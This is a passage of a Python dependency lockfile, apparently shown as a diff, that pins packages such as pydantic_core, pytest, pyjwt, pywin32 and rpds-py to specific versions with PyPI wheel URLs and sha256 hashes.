"https://files.pythonhosted.org/packages/c5/02/bc19b47a96c2d3109760711acf22369e56bd7e405ca52f7ade164d2ead57/pydantic_core-2.46.5-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:bce57638e08ac148e5778cce7feb968307a727d66f8e2274a543d0cf0c9ad6a3", size = 1905716, upload-time = "2026-08-28T09:59:47.18Z" }, + { url = "https://files.pythonhosted.org/packages/52/a4/70b47c0509923dd98ccfed04fb3e32ea3849c82a0ff2205bb41009b43c00/pydantic_core-2.46.5-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:976e1128455aa595ea04c79ccfedff1aaeab96ee013fcc916bed120c4f0ad94f", size = 1934216, upload-time = "2026-08-28T09:59:49.241Z" }, + { url = "https://files.pythonhosted.org/packages/52/ab/aa03b65f7bb198585edf806b906c3223ecf1795543e39e23aec4cce27ad2/pydantic_core-2.46.5-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e7b891faeedeafba41b2983e5001a81b6a915b69544c7e7570d1989ce1c36ac7", size = 2010635, upload-time = "2026-08-28T09:59:51.692Z" }, + { url = "https://files.pythonhosted.org/packages/3c/8b/0da06343f30b84ec549aafd309c6456223d5dc8bd36af504c573faad561d/pydantic_core-2.46.5-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5f194189415698233dd1114a093a9b56e61e2c57e11b469be3b0506f46f0771c", size = 2209369, upload-time = "2026-08-28T09:59:53.582Z" }, + { url = "https://files.pythonhosted.org/packages/d6/5b/844c4defaa34a3df66eb9257087d121d70c201298b96abdf9f492fc2f1bf/pydantic_core-2.46.5-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:82a36973cf8a2ef5406f4fe2edbf8ed0c99629535d959e0b100c76a32535a111", size = 2253238, upload-time = "2026-08-28T09:59:55.484Z" }, + { url = "https://files.pythonhosted.org/packages/f4/64/a4e536cb16d7f61a7fd3120b46c577fc7fa7325992f69c4f52bc786d77d8/pydantic_core-2.46.5-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cdbb78909f52b981d3b2d56b97328d71eb0b974c36bd77c920123a7ebb192829", size = 2065740, upload-time = "2026-08-28T09:59:58.038Z" }, + { url = "https://files.pythonhosted.org/packages/5f/75/aaa38c6bc2d085f6605b34eabdc6a8a4e0b2e61fc9c8e6e52b28e97b3125/pydantic_core-2.46.5-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:52e24eacdb536cade636aa90fb851835222becff8484b7001fdc78cb0290f2aa", size = 2087425, upload-time = "2026-08-28T09:59:59.898Z" }, + { url = "https://files.pythonhosted.org/packages/55/ae/fcab4cfc39aba3689e1d20c8b5250ad280957022c09af2ed9cd585602a5e/pydantic_core-2.46.5-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:37ae34309d7bd8c0d61ab839668058f2a7962ea1fc51d105d2db228fe0618034", size = 2139306, upload-time = "2026-08-28T10:00:03.057Z" }, + { url = "https://files.pythonhosted.org/packages/2d/f4/f1d03a4bc9d9acbc62f4d742b8a319af52f71885079868b2ff8e48a651ee/pydantic_core-2.46.5-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:0cdbada856a1c69a7624a64d3d9aefe79300bd6ef827b43a4f265010b9b55184", size = 2144589, upload-time = "2026-08-28T10:00:05.645Z" }, + { url = "https://files.pythonhosted.org/packages/83/f3/7a53bb1356de514a4cd295f25b6ac39237895620c0462d2592b76c16e114/pydantic_core-2.46.5-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:545f26c504b27c3758439a5e6d9349931f0a04f855668d5fe323c89e82300a38", size = 2288882, upload-time = "2026-08-28T10:00:07.931Z" }, + { url = "https://files.pythonhosted.org/packages/cd/94/5a81583660c175c59d49ffb09f4b3a44debeaf86a19fca664ae1cdd9ee32/pydantic_core-2.46.5-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:ff218293c9c806138dca139765e3b067621be52bcd93cdc14c7711be7ddc90a9", size = 2335210, upload-time = "2026-08-28T10:00:10.177Z" }, + { url = "https://files.pythonhosted.org/packages/5a/9f/5d685c2693b972d1a59c998586e8823712b66603aeff47ee60a4bdaafd37/pydantic_core-2.46.5-cp314-cp314t-win32.whl", hash = "sha256:97cf3eb53a8cccacf9d46686a0926186c9bfb5574f2ed66d3639d5fe117cd3a9", size = 1921180, upload-time = "2026-08-28T10:00:12.35Z" }, + { url = "https://files.pythonhosted.org/packages/70/12/5c94ee16d65a37a15f9e869f5e6256df111154491173801a4c5e800ab548/pydantic_core-2.46.5-cp314-cp314t-win_amd64.whl", hash = "sha256:d2f9fc07a8042a8f95925b35c4f04f469707c981fc33245b6ca187cf5d2dd290", size = 2020515, upload-time = "2026-08-28T10:00:14.774Z" }, + { url = "https://files.pythonhosted.org/packages/63/19/67830dda664e6bdf9285ee2e40f355d0d7d6b92aa0c42e8d217bb8d33d36/pydantic_core-2.46.5-cp314-cp314t-win_arm64.whl", hash = "sha256:acf8a67ba51f4ca9ddbd0e6b3000a65ac51ab734661778b3e7ba64d99a710f2f", size = 1989276, upload-time = "2026-08-28T10:00:16.984Z" }, + { url = "https://files.pythonhosted.org/packages/df/dd/053c2e4303f791f3b8f8a14ab0b22008e8eb21d868c0c90b4f9be705b76a/pydantic_core-2.46.5-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:013d6f3483d81e02e7c328831808f336c8596ee33b4bd4026b9ffb1e960b8942", size = 2062540, upload-time = "2026-08-28T10:01:00.318Z" }, + { url = "https://files.pythonhosted.org/packages/d7/dd/a18df751a5e37dd51bfad7f68e766999125bebe68c9e1d10a493ad01bd63/pydantic_core-2.46.5-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:e9c134bb666dd54b778b9fc0d2b50cbb7f979b9e3716f26a88c9ab3b6fc1dd0f", size = 1902040, upload-time = "2026-08-28T10:01:02.529Z" }, + { url = "https://files.pythonhosted.org/packages/b7/13/01d40f9d07ce8a779fd6e0bd8ad4fba91309500dd67b869e2e219d261a6d/pydantic_core-2.46.5-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:347ec774390c87326a2e4929d58d3f7e8763a104d5d35f4cd595a4c952366433", size = 1967479, upload-time = "2026-08-28T10:01:05.004Z" }, + { url = "https://files.pythonhosted.org/packages/fa/04/c81d4841331c2178b6fb09ae225425e110ed72d990c9fe556c4ec03d1013/pydantic_core-2.46.5-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8e24d8f05fa2d28513d94e877e9c75ad66175376209b3977f916e240e623193c", size = 2111034, upload-time = "2026-08-28T10:01:07.345Z" }, +] + +[[package]] +name = "pygments" +version = "2.21.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/49/2e/ced460408999b33da6b31b0021b0f37d329e202d4169aeb164493778f25b/pygments-2.21.0.tar.gz", hash = "sha256:610ca751c9bc2492b38eb9a38a7fbc93edbbb2d7182edaf34e66ae493dee5c8c", size = 5005329, upload-time = "2026-08-17T08:02:48.824Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/71/46/17f022dd3e953bf20a04a028a21ec746d942f8d2af30fa0f124fa0e6a684/pygments-2.21.0-py3-none-any.whl", hash = "sha256:2363c69b61c4a97c838da3b130dcd6468f4848992b21a82f2a63ec34377137d9", size = 1250147, upload-time = "2026-08-17T08:02:44.912Z" }, +] + +[[package]] +name = "pyjwt" +version = "2.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/02/a5/5197bfd06417837ac079921c66fa6393f1dea3557272a263cebfef69e432/pyjwt-2.15.0.tar.gz", hash = "sha256:b11c5f9791d7bf51c2b39a81ed669f6b2dbbd669df2942f6c60167e9e3d1abe4", size = 120513, upload-time = "2026-09-23T16:56:00.689Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e8/55/40e45bf052ee8ee12a4dfd785519660f8effa7b065442b91646ec6828619/pyjwt-2.15.0-py3-none-any.whl", hash = "sha256:7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8", size = 33680, upload-time = "2026-09-23T16:55:59.241Z" }, +] + +[package.optional-dependencies] +crypto = [ + { name = "cryptography" }, +] + +[[package]] +name = "pytest" +version = "9.1.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "iniconfig" }, + { name = "packaging" }, + { name = "pluggy" }, + { name = "pygments" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e4/47/b9efed96c114afcfa3c9d3fe98a76a1d14c74a9e266d397cf6eb64be5e01/pytest-9.1.1.tar.gz", hash = "sha256:1088fbde8f2b49d95a549a195707afa7a76a3ce9bcadc26b6d71f0ffda5fe313", size = 1636369, upload-time = "2026-06-19T10:58:32.857Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/24/25/1de2678b631f5a49215c6c96fff41ba892b0a34df68d6d80292b1b48aa7f/pytest-9.1.1-py3-none-any.whl", hash = "sha256:37a86b45efb9a47a61a36449063e8e18d0cab3161329fc099eb21783169c4f0c", size = 386536, upload-time = "2026-06-19T10:58:31.347Z" }, +] + +[[package]] +name = "pytest-asyncio" +version = "1.4.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/43/7c/d36d04db312ecf4298932ef77e6e4a9e8ad017906e24e34f0b0c361a2473/pytest_asyncio-1.4.0.tar.gz", hash = "sha256:c6c0d2259945122819f171a32ecea2c349ead889ee28176caaf492143424be42", size = 58514, upload-time = "2026-05-26T09:56:04.083Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/03/e2/08a497ef684b88559c9cc5f4ad53a37e7b99e727094a86d6ea32536d5d3c/pytest_asyncio-1.4.0-py3-none-any.whl", hash = "sha256:933ca923a23075a87fb7070c0ec272a6848489824d887c85c812670932835aa1", size = 16930, upload-time = "2026-05-26T09:56:02.576Z" }, +] + +[[package]] +name = "python-multipart" +version = "0.0.32" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5b/42/55c32bb9b12693c092ad250a0e82edb5b31ddeda6eb772de5f308b3804ad/python_multipart-0.0.32.tar.gz", hash = "sha256:be54b7f3fa167bb83e4fcd936b887b708f4e57fe75911c02aebf53efaf8d938e", size = 46881, upload-time = "2026-06-04T16:18:58.647Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e1/04/e8135ebd1ad02c56ec633277529b2602ff99ff634be76cdba5744cf554fd/python_multipart-0.0.32-py3-none-any.whl", hash = "sha256:ff6d3f776f16878c894e52e107296ffc890e913c611b1a4ec6c44e2821fe2e23", size = 30042, upload-time = "2026-06-04T16:18:57.319Z" }, +] + +[[package]] +name = "pywin32" +version = "312" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/83/ff/32aa7d2ed0ab12b323aaa64f9b75e6ad4f8fd09f9ccfc28c79414d46838d/pywin32-312-cp312-cp312-win32.whl", hash = "sha256:dab4f65ac9c4e48400a2a0530c46c3c579cd5905ecd11b80692373915269208b", size = 6371877, upload-time = "2026-06-04T07:49:28.836Z" }, + { url = "https://files.pythonhosted.org/packages/03/d9/77040d3b43df3f3be32ea289433d660d2727f5ba327bc73be835127d9d60/pywin32-312-cp312-cp312-win_amd64.whl", hash = "sha256:b457f6d628a47e8a7346ce22acb7e1a46a4a78b52e1d17e1af56871bd19a93bc", size = 6914841, upload-time = "2026-06-04T07:49:31.85Z" }, + { url = "https://files.pythonhosted.org/packages/e3/cc/7b1ec671775756020a0ee7f4feeaf3c568f0ab86bd3900088cf986937a92/pywin32-312-cp312-cp312-win_arm64.whl", hash = "sha256:6017c58e12f6809fbb0555b75df144c2922a9ffd18e4b9b5afa863b6c1a9d950", size = 6727901, upload-time = "2026-06-04T07:49:34.244Z" }, + { url = "https://files.pythonhosted.org/packages/2d/41/12fbfd7f36ed2146d8bc9de96c2741296bf0d490b98508496cff322e274c/pywin32-312-cp313-cp313-win32.whl", hash = "sha256:7a27df850933d16a8eabfbaeb73d52b273e2da667f80d70b01a89d1f6828d02c", size = 6370184, upload-time = "2026-06-04T07:49:36.253Z" }, + { url = "https://files.pythonhosted.org/packages/ba/db/36a78e3403099d31d9746d13fdcde5accc43c1155f375a34d15983a479a7/pywin32-312-cp313-cp313-win_amd64.whl", hash = "sha256:c53e878d15a1c44788082bfe712a905433473aa38f86375b7cf8b45e3acbaaf9", size = 6914298, upload-time = "2026-06-04T07:49:38.876Z" }, + { url = "https://files.pythonhosted.org/packages/84/37/c1697194092b76de9ed47ca124323f02c57ffc8a45c06f88a3d5acaf01eb/pywin32-312-cp313-cp313-win_arm64.whl", hash = "sha256:59aba5d5940842075343a5ddc6b11f1cdf0d1567fe745290359dfbcc7c2eb831", size = 6727640, upload-time = "2026-06-04T07:49:41.083Z" }, + { url = "https://files.pythonhosted.org/packages/fc/2b/1f3cded5822fd49c02f40544cbb5f58c7cfd6b1694869fd476cb6170ee97/pywin32-312-cp314-cp314-win32.whl", hash = "sha256:a77a90fbb6881238d2ca9c6fd797b25817f3768fe78d214a90137ff055a75f5b", size = 6468928, upload-time = "2026-06-04T07:49:43.188Z" }, + { url = "https://files.pythonhosted.org/packages/21/82/3bf86d2e2808902013132e1ce905a7da0da53790f3836c64bf44d55e24f3/pywin32-312-cp314-cp314-win_amd64.whl", hash = "sha256:a4dd3a848290ef724347b19f301045831d8e802fa4464f491b98b1e0a081432e", size = 7024157, upload-time = "2026-06-04T07:49:45.34Z" }, + { url = "https://files.pythonhosted.org/packages/a4/0e/73f6d6800b4f27655abd9e9f6aaeaefcddb2b946e4674efa2bab184a7f7b/pywin32-312-cp314-cp314-win_arm64.whl", hash = "sha256:9fce94568364e0155e6dfb781ac5d95903be8baf28670632beab1b523f300daa", size = 6839598, upload-time = "2026-06-04T07:49:47.613Z" }, + { url = "https://files.pythonhosted.org/packages/eb/61/caa39686032d2ebdd04ff0ab5cbe163126c0066d98e00c9018646e42393b/pywin32-312-cp315-cp315-win32.whl", hash = "sha256:5c1fbe4a937a73ae9297384a3da38518cbc694c68ad8a809b2e19acd350f03ed", size = 6471159, upload-time = "2026-06-04T07:49:50.035Z" }, + { url = "https://files.pythonhosted.org/packages/0f/cd/7e1de64a4a6f69c04214169657ccab0d93a670ea50e35eb8f489d7378249/pywin32-312-cp315-cp315-win_amd64.whl", hash = "sha256:c2f03a0f73f804a13c2735b99392b0cd426bb4f2c4d0178e5ac966a0f21618d5", size = 7025293, upload-time = "2026-06-04T07:49:54.857Z" }, + { url = "https://files.pythonhosted.org/packages/23/ed/4532e9388e65fa16b46776ef47ad631a64eda1631884488af707666350ed/pywin32-312-cp315-cp315-win_arm64.whl", hash = "sha256:a8597d28f267b39074aef51fa593530082b39cbe5a074226096857b1fed2dfb9", size = 6840337, upload-time = "2026-06-04T07:49:57.531Z" }, +] + +[[package]] +name = "referencing" +version = "0.37.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "attrs" }, + { name = "rpds-py" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/22/f5/df4e9027acead3ecc63e50fe1e36aca1523e1719559c499951bb4b53188f/referencing-0.37.0.tar.gz", hash = "sha256:44aefc3142c5b842538163acb373e24cce6632bd54bdb01b21ad5863489f50d8", size = 78036, upload-time = "2025-10-13T15:30:48.871Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2c/58/ca301544e1fa93ed4f80d724bf5b194f6e4b945841c5bfd555878eea9fcb/referencing-0.37.0-py3-none-any.whl", hash = "sha256:381329a9f99628c9069361716891d34ad94af76e461dcb0335825aecc7692231", size = 26766, upload-time = "2025-10-13T15:30:47.625Z" }, +] + +[[package]] +name = "rpds-py" +version = "2026.6.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/aa/2a/9618a122aeb2a169a28b03889a2995fe297588964333d4a7d67bdf46e147/rpds_py-2026.6.3.tar.gz", hash = "sha256:1cebd1337c242e4ec2293e541f712b2da849b29f48f0c293684b71c0632625d4", size = 64051, upload-time = "2026-06-30T07:17:53.009Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5c/be/2e8974163072e7bab7df1a5acd54c4498e75e35d6d18b864d3a9d5dadc92/rpds_py-2026.6.3-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:a0811d33247c3d6128a3001d763f2aa056bb3425204335400ac54f89eec3a0d0", size = 343691, upload-time = "2026-06-30T07:15:14.96Z" }, + { url = "https://files.pythonhosted.org/packages/a4/73/319dfa745dd668efe89309141ded489126461fcecd2b8f3a3cda185129b6/rpds_py-2026.6.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:538949e262e46caa31ac01bdb3c1e8f642622922cacbabbae6a8445d9dc33eaf", size = 338542, upload-time = "2026-06-30T07:15:16.267Z" }, + { url = "https://files.pythonhosted.org/packages/21/63/4239893be1c4d09b709b1a8f6be4188f0870084ff547f46606b8a75f1b03/rpds_py-2026.6.3-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:55927d532399c2c646100ff7feb48eaa940ad70f42cd68e1328f3ded9f81ca24", size = 368180, upload-time = "2026-06-30T07:15:17.62Z" }, + { url = "https://files.pythonhosted.org/packages/1c/ca/9c5de382225234ceb37b1844ebdb140db12b2a278bb9efe2fcd19f6c82ce/rpds_py-2026.6.3-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f56f1695bc5c0871cbc33dc0130fcf503aab0c57dcc5a6700a4f49eba4f2652e", size = 375067, upload-time = "2026-06-30T07:15:18.952Z" }, + { url = "https://files.pythonhosted.org/packages/87/dc/863f69d1bf04ade34b7fe0d59b9fdf6f0135fe2d7cbca74f1d665589559d/rpds_py-2026.6.3-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:270b293dae9058fc9fcedab50f13cebf46fb8ed1d1d54e0521a9da5d6b211975", size = 490509, upload-time = "2026-06-30T07:15:20.434Z" }, + { url = "https://files.pythonhosted.org/packages/ce/ef/eac16a12048b45ec7c7fa94f2be3438a5f26bf9cc8580b18a1cfd609b7f6/rpds_py-2026.6.3-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:127565fead0a10943b282957bd5447804ff3160ad79f2ad2635e6d249e380680", size = 382754, upload-time = "2026-06-30T07:15:21.831Z" }, + { url = "https://files.pythonhosted.org/packages/04/8f/d2f3f532616be4d06c316ef119683e832bd3d41e112bf3a88f4151c95b17/rpds_py-2026.6.3-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ecabd69db66de867690f9797f2f8fa27ba501bbc24540cbdbdc649cd15888ba6", size = 366189, upload-time = "2026-06-30T07:15:23.371Z" }, + { url = "https://files.pythonhosted.org/packages/e3/29/41a7b0e98a4b44cd676ab7598419623373eb43b20be68c084935c1a8cf88/rpds_py-2026.6.3-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:58eadac9cd119677b60e1cf8ac4052f35949d71b8a9e5556efccbe82533cf22a", size = 377750, upload-time = "2026-06-30T07:15:24.659Z" }, + { url = "https://files.pythonhosted.org/packages/2e/05/ecda0bec46f9a1565090bcdc941d023f6a25aff85fda28f89f8d19878152/rpds_py-2026.6.3-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:7491ee23305ac3eb59e492b6945881f5cd77a6f731061a3f25b77fd40f9e99a4", size = 395576, upload-time = "2026-06-30T07:15:25.987Z" }, + { url = "https://files.pythonhosted.org/packages/68/a8/6ed52f03ee6cb854ce78785cc9a9a672eb880e83fd7224d471f667d151f1/rpds_py-2026.6.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2c99f7e8ccb3dd6e3e4bfeac657a7b208c9bac8075f4b078c02d7404c34107fa", size = 543807, upload-time = "2026-06-30T07:15:27.356Z" }, + { url = "https://files.pythonhosted.org/packages/8f/d6/156c0d3eea27ba09b92562ba2364ba124c0a061b199e17eac637cd25a5e2/rpds_py-2026.6.3-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:62698275682bf121181861295c9181e789030a2d516071f5b8f3c23c170cd0fc", size = 611187, upload-time = "2026-06-30T07:15:28.931Z" }, + { url = "https://files.pythonhosted.org/packages/f1/31/774212ed989c62f7f310220089f9b0a3fb8f40f5443d1727abd5d9f52bc9/rpds_py-2026.6.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a214c993455f99a89aaeadc9b21241900037adc9d97203e374d75513c5911822", size = 573030, upload-time = "2026-06-30T07:15:30.553Z" }, + { url = "https://files.pythonhosted.org/packages/c9/50/22f73127a41f1ce4f87fe39aadfb9a126345801c274aa93ae88456249327/rpds_py-2026.6.3-cp312-cp312-win32.whl", hash = "sha256:501f9f04a588d6a09179368c57071301445191767c64e4b52a6aa9871f1ef5ed", size = 202185, upload-time = "2026-06-30T07:15:32.027Z" }, + { url = "https://files.pythonhosted.org/packages/04/3a/f0ee4d4dde9d3b69dedf1b5f74e7a40017046d55052d173e418c6a94f960/rpds_py-2026.6.3-cp312-cp312-win_amd64.whl", hash = "sha256:2c958bf94822e9290a40aaf2a822d4bc5c88099093e3948ad6c571eca9272e5f", size = 220394, upload-time = "2026-06-30T07:15:33.359Z" }, + { url = "https://files.pythonhosted.org/packages/f3/83/3382fe37f809b59f02aac04dbc4e765b480b46ee0227ed516e3bdc4d3dfc/rpds_py-2026.6.3-cp312-cp312-win_arm64.whl", hash = "sha256:22bffe6042b9bcb0822bcd1955ec00e245daf17b4344e4ed8e9551b976b63e96", size = 215753, upload-time = "2026-06-30T07:15:34.778Z" }, + { url = "https://files.pythonhosted.org/packages/a4/9e/b818ee580026ec578138e961027a68820c40afeb1ec8f6819b54fb99e196/rpds_py-2026.6.3-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:3cfe765c1da0072636ca06628261e0ea05688e160d5c8a03e0217c3854037223", size = 343012, upload-time = "2026-06-30T07:15:36.005Z" }, + { url = "https://files.pythonhosted.org/packages/f3/6b/686d9dc4359a8f163cfbbf89ee0b4e586431de22fe8248edb63a8cf50d49/rpds_py-2026.6.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f4d78253f6996be4901669ad25319f842f740eccf4d58e3c7f3dd39e6dde1d8f", size = 338203, upload-time = "2026-06-30T07:15:37.462Z" }, + { url = "https://files.pythonhosted.org/packages/9e/9b/069aa329940f8207615e091f5eedbbd40e1e15eac68a0790fd05ccdf796c/rpds_py-2026.6.3-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:54f45a148e28767bf343d33a684693c70e451c6f4c0e9904709a723fafbdfc1f", size = 367984, upload-time = "2026-06-30T07:15:39.008Z" }, + { url = "https://files.pythonhosted.org/packages/14/db/34c203e4becff3703e4d3bc121842c00b8689197f398161203a880052f4e/rpds_py-2026.6.3-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:842e7b070435622248c7a2c44ae53fa1440e073cc3023bc919fed570884097a7", size = 374815, upload-time = "2026-06-30T07:15:40.253Z" }, + { url = "https://files.pythonhosted.org/packages/ee/7d/8071067d2cc453d916ad836e828c943f575e8a44612537759002a1e07381/rpds_py-2026.6.3-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8020133a74bd81b4572dd8e4be028a6b1ebcd70e6726edc3918008c08bee6ee6", size = 490545, upload-time = "2026-06-30T07:15:41.729Z" }, + { url = "https://files.pythonhosted.org/packages/a3/42/da06c5aa8f0484ff07f270787434204d9f4535e2f8c3b51ed402267e63c3/rpds_py-2026.6.3-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cdc7e35386f3847df728fbcb5e887e2d79c19e2fa1eba9e51b6621d23e3243af", size = 382828, upload-time = "2026-06-30T07:15:43.327Z" }, + { url = "https://files.pythonhosted.org/packages/57/d7/fe978efc2ae50abe48eb7464668ea99f53c010c60aeebb7b35ad27f23661/rpds_py-2026.6.3-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:acac386b453c2516111b50985d60ce46e7fadb5ea71ae7b25f4c946935bf27cf", size = 365678, upload-time = "2026-06-30T07:15:44.992Z" }, + { url = "https://files.pythonhosted.org/packages/69/9d/1d8922e1990b2a6eb532b6ff53d3e73d2b3bbffc84116c75826bee73dfc6/rpds_py-2026.6.3-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:425560c6fa0415f27261727bb20bd097568485e5eb0c121f1949417d1c516885", size = 377811, upload-time = "2026-06-30T07:15:46.523Z" }, + { url = "https://files.pythonhosted.org/packages/b1/3d/198dceafb4fb034a6a47347e1b0735d34e0bd4a50be4e898d408ee66cb14/rpds_py-2026.6.3-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:a550fb4950a06dde3beb4721f5ad4b25bf4513784665b0a8522c792e2bd822a4", size = 395382, upload-time = "2026-06-30T07:15:47.955Z" }, + { url = "https://files.pythonhosted.org/packages/1f/f1/13968e49655d40b6b19d8b9140296bbc6f1d86b3f0f6c346cf9f1adddf4b/rpds_py-2026.6.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4f4bca01b63096f606e095734dd56e74e175f94cfbf24ff3d63281cec61f7bb7", size = 543832, upload-time = "2026-06-30T07:15:49.33Z" }, + { url = "https://files.pythonhosted.org/packages/ac/ab/289bcb1b90bd3e40a2900c561fa0e2087345ecbb094f0b870f2345142b7c/rpds_py-2026.6.3-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:ccffae9a092a00deb7efd545fe5e2c33c33b88e7c054337e9a74c179347d0b7d", size = 611011, upload-time = "2026-06-30T07:15:50.847Z" }, + { url = "https://files.pythonhosted.org/packages/1e/16/5043105e679436ccfbc8e5e0dd2d663ed18a8b8113515fd06a5e5d77c83e/rpds_py-2026.6.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:1cf01971c4f2c5553b772a542e4aaf191789cd331bc2cd4ff0e6e65ba49e1e97", size = 572431, upload-time = "2026-06-30T07:15:52.394Z" }, + { url = "https://files.pythonhosted.org/packages/85/ed/adab103321c0a6565d5ae1c2998349bc3ee175b82ccc5ae8fc04cc413075/rpds_py-2026.6.3-cp313-cp313-win32.whl", hash = "sha256:8c3d1e9c15b9d51ca0391e13da1a25a0a4df3c58a37c9dc368e0736cf7f69df0", size = 201710, upload-time = "2026-06-30T07:15:53.894Z" }, + { url = "https://files.pythonhosted.org/packages/7b/ed/a03b09668e74e5dabbf2e211f6468e1820c0552f7b0500082da31841bf7b/rpds_py-2026.6.3-cp313-cp313-win_amd64.whl", hash = "sha256:9250a9a0a6fd4648b3f868da8d91a4c52b5811a62df58e753d50ae4454a36f80", size = 219454, upload-time = "2026-06-30T07:15:55.25Z" }, + { url = "https://files.pythonhosted.org/packages/27/17/b8642c12930b71bc2b25831f6708ccf0f75abcd11883932ec9ce54ba3a78/rpds_py-2026.6.3-cp313-cp313-win_arm64.whl", hash = "sha256:900a67df3fd1660b035a4761c4ce73c382ea6b35f90f9863c36c6fd8bf8b09bb", size = 215063, upload-time = "2026-06-30T07:15:56.573Z" }, + { url = "https://files.pythonhosted.org/packages/b6/36/7fbe9dcdaf857fb3f63c2a2284b62492d95f5e8334e947e5fb6e7f68c9be/rpds_py-2026.6.3-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:931908d9fc855d8f74783377822be318edb6dcb19e47169dc038f9a1bf60b06e", size = 344510, upload-time = "2026-06-30T07:15:57.921Z" }, + { url = "https://files.pythonhosted.org/packages/ba/54/f785cc3d3f60839ca57a5af4927a9f347b07b2799c373fc20f7949f87c7e/rpds_py-2026.6.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:d7469697dce35be237db177d42e2a2ee26e6dcc5fc052078a6fefabd288c6edd", size = 339495, upload-time = "2026-06-30T07:15:59.238Z" }, + { url = "https://files.pythonhosted.org/packages/63/ef/d4cdaf309e6b095b43597103cf8c0b951d6cca2acce68c474f75ec12e0c7/rpds_py-2026.6.3-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bcfbcf66006befb9fd2aeaa9e01feaf881b4dc330a02ba07d2322b1c11be7b5d", size = 369454, upload-time = "2026-06-30T07:16:01.021Z" }, + { url = "https://files.pythonhosted.org/packages/96/4a/9559a68b7ee15db09d7981212e8c2e219d2a1d6d4faa0391d813c3496a36/rpds_py-2026.6.3-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:847927daf4cffbd4e90e42bc890069897101edd015f956cb8721b3473372edda", size = 374583, upload-time = "2026-06-30T07:16:02.287Z" }, + { url = "https://files.pythonhosted.org/packages/ef/75/8964aa7d2c6e8ac43eba8eb6e6b0fdda1f46d39f2fc3e6aa9f2cb17f485d/rpds_py-2026.6.3-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:aca6c1ef08a82bfe327cc156da694660f599923e2e6665b6d81c9c2d0ac9ffc8", size = 492919, upload-time = 